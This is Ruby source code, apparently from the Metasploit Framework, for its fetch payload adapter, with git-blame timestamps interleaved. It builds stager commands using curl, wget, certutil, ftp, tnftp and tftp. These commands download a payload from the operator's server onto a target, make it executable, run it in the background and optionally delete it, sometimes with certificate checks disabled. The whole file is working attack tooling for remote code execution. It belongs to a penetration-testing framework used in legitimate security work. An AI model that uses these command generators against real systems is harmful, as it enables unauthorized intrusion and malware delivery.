2023-03-15 19:19:19 -05:00
module Msf::Payload::Adapter::Fetch
def initialize ( * args )
super
register_options (
[
Msf :: OptBool . new ( 'FETCH_DELETE' , [ true , 'Attempt to delete the binary after execution' , false ] ) ,
2024-01-03 14:46:15 -05:00
Msf :: OptString . new ( 'FETCH_FILENAME' , [ false , 'Name to use on remote system when storing payload; cannot contain spaces or slashes' , Rex :: Text . rand_text_alpha ( rand ( 8 .. 12 ) ) ] , regex : / ^[^ \ s \/ \\ ]*$ / ) ,
2023-03-15 19:19:19 -05:00
Msf :: OptPort . new ( 'FETCH_SRVPORT' , [ true , 'Local port to use for serving payload' , 8080 ] ) ,
2024-01-05 11:08:56 -05:00
# FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
Msf :: OptAddressRoutable . new ( 'FETCH_SRVHOST' , [ ! options [ 'LHOST' ] & . required , 'Local IP to use for serving payload' ] ) ,
2023-03-15 19:19:19 -05:00
Msf :: OptString . new ( 'FETCH_URIPATH' , [ false , 'Local URI to use for serving payload' , '' ] ) ,
2024-01-03 14:46:15 -05:00
Msf :: OptString . new ( 'FETCH_WRITABLE_DIR' , [ true , 'Remote writable dir to store payload; cannot contain spaces' , '' ] , regex : / ^[ \ S]*$ / )
2023-03-15 19:19:19 -05:00
]
)
register_advanced_options (
[
Msf :: OptAddress . new ( 'FetchListenerBindAddress' , [ false , 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST' ] ) ,
Msf :: OptPort . new ( 'FetchListenerBindPort' , [ false , 'The port to bind to if different from FETCH_SRVPORT' ] ) ,
2024-01-03 14:46:15 -05:00
Msf :: OptBool . new ( 'FetchHandlerDisable' , [ true , 'Disable fetch handler' , false ] )
2023-03-15 19:19:19 -05:00
]
)
@delete_resource = true
@fetch_service = nil
@myresources = [ ]
@srvexe = ''
@remote_destination_win = nil
@remote_destination_nix = nil
@windows = nil
end
# If no fetch URL is provided, we generate one based off the underlying payload data
# This is because if we use a randomly-generated URI, the URI generated by venom and
# Framework will not match. This way, we can build a payload in venom and a listener
# in Framework, and if the underlying payload type/host/port are the same, the URI
# will be, too.
#
def default_srvuri
# If we're in framework, payload is in datastore; msfvenom has it in refname
payload_name = datastore [ 'payload' ] || = refname
decoded_uri = payload_name . dup
# there may be no transport, so leave the connection string off if that's the case
netloc = ''
if module_info [ 'ConnectionType' ] . upcase == 'REVERSE' || module_info [ 'ConnectionType' ] . upcase == 'TUNNEL'
netloc << datastore [ 'LHOST' ] unless datastore [ 'LHOST' ] . blank?
unless datastore [ 'LPORT' ] . blank?
if Rex :: Socket . is_ipv6? ( netloc )
netloc = " [ #{ netloc } ]: #{ datastore [ 'LPORT' ] } "
else
netloc = " #{ netloc } : #{ datastore [ 'LPORT' ] } "
end
end
elsif module_info [ 'ConnectionType' ] . upcase == 'BIND'
netloc << datastore [ 'LHOST' ] unless datastore [ 'LHOST' ] . blank?
unless datastore [ 'RPORT' ] . blank?
if Rex :: Socket . is_ipv6? ( netloc )
netloc = " [ #{ netloc } ]: #{ datastore [ 'RPORT' ] } "
else
netloc = " #{ netloc } : #{ datastore [ 'RPORT' ] } "
end
end
end
decoded_uri << " ; #{ netloc } "
Base64 . urlsafe_encode64 ( OpenSSL :: Digest :: MD5 . new ( decoded_uri ) . digest , padding : false )
end
def download_uri
" #{ srvnetloc } / #{ srvuri } "
end
def fetch_bindhost
datastore [ 'FetchListenerBindAddress' ] . blank? ? srvhost : datastore [ 'FetchListenerBindAddress' ]
end
def fetch_bindport
datastore [ 'FetchListenerBindPort' ] . blank? ? srvport : datastore [ 'FetchListenerBindPort' ]
end
2024-01-03 14:46:15 -05:00
def fetch_bindnetloc
Rex :: Socket . to_authority ( fetch_bindhost , fetch_bindport )
end
2023-03-15 19:19:19 -05:00
def generate ( opts = { } )
opts [ :arch ] || = module_info [ 'AdaptedArch' ]
opts [ :code ] = super
@srvexe = generate_payload_exe ( opts )
cmd = generate_fetch_commands
vprint_status ( " Command to run on remote host: #{ cmd } " )
cmd
end
def generate_fetch_commands
# TODO: Make a check method that determines if we support a platform/server/command combination
#
case datastore [ 'FETCH_COMMAND' ] . upcase
when 'FTP'
return _generate_ftp_command
when 'TNFTP'
return _generate_tnftp_command
when 'WGET'
return _generate_wget_command
when 'CURL'
return _generate_curl_command
when 'TFTP'
return _generate_tftp_command
when 'CERTUTIL'
return _generate_certutil_command
else
fail_with ( Msf :: Module :: Failure :: BadConfig , 'Unsupported Binary Selected' )
end
end
def generate_stage ( opts = { } )
opts [ :arch ] || = module_info [ 'AdaptedArch' ]
super
end
def generate_payload_uuid ( conf = { } )
conf [ :arch ] || = module_info [ 'AdaptedArch' ]
conf [ :platform ] || = module_info [ 'AdaptedPlatform' ]
super
end
def handle_connection ( conn , opts = { } )
opts [ :arch ] || = module_info [ 'AdaptedArch' ]
super
end
def srvhost
2024-01-05 11:08:56 -05:00
host = datastore [ 'FETCH_SRVHOST' ]
host = datastore [ 'LHOST' ] if host . blank?
host = '127.127.127.127' if host . blank?
host
2023-03-15 19:19:19 -05:00
end
def srvnetloc
2024-01-03 14:46:15 -05:00
Rex :: Socket . to_authority ( srvhost , srvport )
2023-03-15 19:19:19 -05:00
end
def srvport
datastore [ 'FETCH_SRVPORT' ]
end
def srvuri
return datastore [ 'FETCH_URIPATH' ] unless datastore [ 'FETCH_URIPATH' ] . blank?
default_srvuri
end
def windows?
return @windows unless @windows . nil?
@windows = platform . platforms . first == Msf :: Module :: Platform :: Windows
@windows
end
def _check_tftp_port
# Most tftp clients do not have configurable ports
if datastore [ 'FETCH_SRVPORT' ] != 69 && datastore [ 'FetchListenerBindPort' ] . blank?
print_error ( 'The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.' )
fail_with ( Msf :: Module :: Failure :: BadConfig , 'FETCH_SRVPORT must be set to 69 when using the tftp client' )
end
end
def _check_tftp_file
# Older Linux tftp clients do not support saving the file under a different name
unless datastore [ 'FETCH_WRITABLE_DIR' ] . blank? && datastore [ 'FETCH_FILENAME' ] . blank?
print_error ( 'The Linux TFTP client does not support saving a file under a different name than the URI.' )
fail_with ( Msf :: Module :: Failure :: BadConfig , 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client' )
end
end
# copied from https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/socket_server.rb
def _determine_server_comm ( ip , srv_comm = datastore [ 'ListenerComm' ] . to_s )
comm = nil
case srv_comm
when 'local'
comm = :: Rex :: Socket :: Comm :: Local
when / \ A-?[0-9]+ \ Z /
comm = framework . sessions . get ( srv_comm . to_i )
raise ( RuntimeError , " Socket Server Comm (Session #{ srv_comm } ) does not exist " ) unless comm
raise ( RuntimeError , " Socket Server Comm (Session #{ srv_comm } ) does not implement Rex::Socket::Comm " ) unless comm . is_a? :: Rex :: Socket :: Comm
when nil , ''
unless ip . nil?
comm = Rex :: Socket :: SwitchBoard . best_comm ( ip )
end
else
raise ( RuntimeError , " SocketServer Comm ' #{ srv_comm } ' is invalid " )
end
comm || :: Rex :: Socket :: Comm :: Local
end
def _execute_add
return _execute_win if windows?
return _execute_nix
end
def _execute_win
cmds = " & start /B #{ _remote_destination_win } "
cmds << " & del #{ _remote_destination_win } " if datastore [ 'FETCH_DELETE' ]
cmds
end
def _execute_nix
cmds = " ; chmod +x #{ _remote_destination_nix } "
cmds << " ; #{ _remote_destination_nix } & "
cmds << " ;rm -rf #{ _remote_destination_nix } " if datastore [ 'FETCH_DELETE' ]
cmds
end
def _generate_certutil_command
case fetch_protocol
when 'HTTP'
cmd = " certutil -urlcache -f http:// #{ download_uri } #{ _remote_destination } "
when 'HTTPS'
# I don't think there is a way to disable cert check in certutil....
print_error ( 'CERTUTIL binary does not support insecure mode' )
fail_with ( Msf :: Module :: Failure :: BadConfig , 'FETCH_CHECK_CERT must be true when using CERTUTIL' )
cmd = " certutil -urlcache -f https:// #{ download_uri } #{ _remote_destination } "
else
fail_with ( Msf :: Module :: Failure :: BadConfig , 'Unsupported Binary Selected' )
end
cmd + _execute_add
end
def _generate_curl_command
case fetch_protocol
when 'HTTP'
cmd = " curl -so #{ _remote_destination } http:// #{ download_uri } "
when 'HTTPS'
cmd = " curl -sko #{ _remote_destination } https:// #{ download_uri } "
when 'TFTP'
cmd = " curl -so #{ _remote_destination } tftp:// #{ download_uri } "
else
fail_with ( Msf :: Module :: Failure :: BadConfig , 'Unsupported Binary Selected' )
end
cmd + _execute_add
end
def _generate_ftp_command
case fetch_protocol
when 'FTP'
cmd = " ftp -Vo #{ _remote_destination_nix } ftp:// #{ download_uri } #{ _execute_nix } "
when 'HTTP'
cmd = " ftp -Vo #{ _remote_destination_nix } http:// #{ download_uri } #{ _execute_nix } "
when 'HTTPS'
cmd = " ftp -Vo #{ _remote_destination_nix } https:// #{ download_uri } #{ _execute_nix } "
else
fail_with ( Msf :: Module :: Failure :: BadConfig , 'Unsupported Binary Selected' )
end
end
def _generate_tftp_command
_check_tftp_port
case fetch_protocol
when 'TFTP'
if windows?
cmd = " tftp -i #{ srvhost } GET #{ srvuri } #{ _remote_destination } #{ _execute_win } "
else
_check_tftp_file
cmd = " (echo binary ; echo get #{ srvuri } ) | tftp #{ srvhost } ; chmod +x ./ #{ srvuri } ; ./ #{ srvuri } & "
end
else
fail_with ( Msf :: Module :: Failure :: BadConfig , 'Unsupported Binary Selected' )
end
cmd
end
def _generate_tnftp_command
case fetch_protocol
when 'FTP'
cmd = " tnftp -Vo #{ _remote_destination_nix } ftp:// #{ download_uri } #{ _execute_nix } "
when 'HTTP'
cmd = " tnftp -Vo #{ _remote_destination_nix } http:// #{ download_uri } #{ _execute_nix } "
when 'HTTPS'
cmd = " tnftp -Vo #{ _remote_destination_nix } https:// #{ download_uri } #{ _execute_nix } "
else
fail_with ( Msf :: Module :: Failure :: BadConfig , 'Unsupported Binary Selected' )
end
end
def _generate_wget_command
case fetch_protocol
when 'HTTPS'
cmd = " wget -qO #{ _remote_destination } --no-check-certificate https:// #{ download_uri } "
when 'HTTP'
cmd = " wget -qO #{ _remote_destination } http:// #{ download_uri } "
else
fail_with ( Msf :: Module :: Failure :: BadConfig , 'Unsupported Binary Selected' )
end
cmd + _execute_add
end
2023-05-25 11:49:38 -04:00
2023-03-15 19:19:19 -05:00
def _remote_destination
return _remote_destination_win if windows?
return _remote_destination_nix
end
def _remote_destination_nix
return @remote_destination_nix unless @remote_destination_nix . nil?
writable_dir = datastore [ 'FETCH_WRITABLE_DIR' ]
writable_dir = '.' if writable_dir . blank?
writable_dir += '/' unless writable_dir [ - 1 ] == '/'
payload_filename = datastore [ 'FETCH_FILENAME' ]
payload_filename = srvuri if payload_filename . blank?
payload_path = writable_dir + payload_filename
@remote_destination_nix = payload_path
@remote_destination_nix
end
def _remote_destination_win
return @remote_destination_win unless @remote_destination_win . nil?
writable_dir = datastore [ 'FETCH_WRITABLE_DIR' ]
writable_dir += '\\' unless writable_dir . blank? || writable_dir [ - 1 ] == '\\'
payload_filename = datastore [ 'FETCH_FILENAME' ]
payload_filename = srvuri if payload_filename . blank?
payload_path = writable_dir + payload_filename
payload_path = payload_path + '.exe' unless payload_path [ - 4 .. - 1 ] == '.exe'
@remote_destination_win = payload_path
@remote_destination_win
end
2023-05-25 11:49:38 -04:00
end